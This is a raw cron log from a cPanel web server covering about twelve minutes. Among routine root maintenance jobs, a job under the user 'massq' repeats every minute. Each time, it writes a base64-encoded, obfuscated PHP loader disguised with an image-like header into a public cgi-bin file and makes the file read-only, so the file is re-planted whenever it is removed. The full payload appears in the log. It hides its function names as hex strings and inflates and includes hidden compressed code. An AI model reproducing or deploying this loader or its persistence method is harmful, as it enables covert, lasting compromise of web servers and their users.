Apr  9 12:00:01 server CROND[32082]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 12:00:01 server CROND[32083]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  9 12:00:01 server CROND[32087]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 12:00:01 server CROND[32088]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Apr  9 12:00:01 server CROND[32090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:00:01 server CROND[32085]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 12:01:01 server CROND[32220]: (root) CMD (run-parts /etc/cron.hourly)
Apr  9 12:01:01 server CROND[32221]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:01:01 server run-parts(/etc/cron.hourly)[32220]: starting 0anacron
Apr  9 12:01:01 server run-parts(/etc/cron.hourly)[32233]: finished 0anacron
Apr  9 12:02:01 server CROND[32294]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:03:01 server CROND[32369]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:04:01 server CROND[32535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:05:01 server CROND[32596]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 12:05:01 server CROND[32595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:05:01 server CROND[32598]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 12:05:01 server CROND[32597]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 12:06:01 server CROND[32713]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:07:01 server CROND[325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:08:01 server CROND[381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:09:01 server CROND[534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:09:01 server CROND[535]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 12:10:01 server CROND[597]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 12:10:01 server CROND[599]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 12:10:01 server CROND[601]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:10:01 server CROND[604]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 12:11:01 server CROND[776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 12:12:01 server CROND[839]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 12:12:01 server CROND[840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
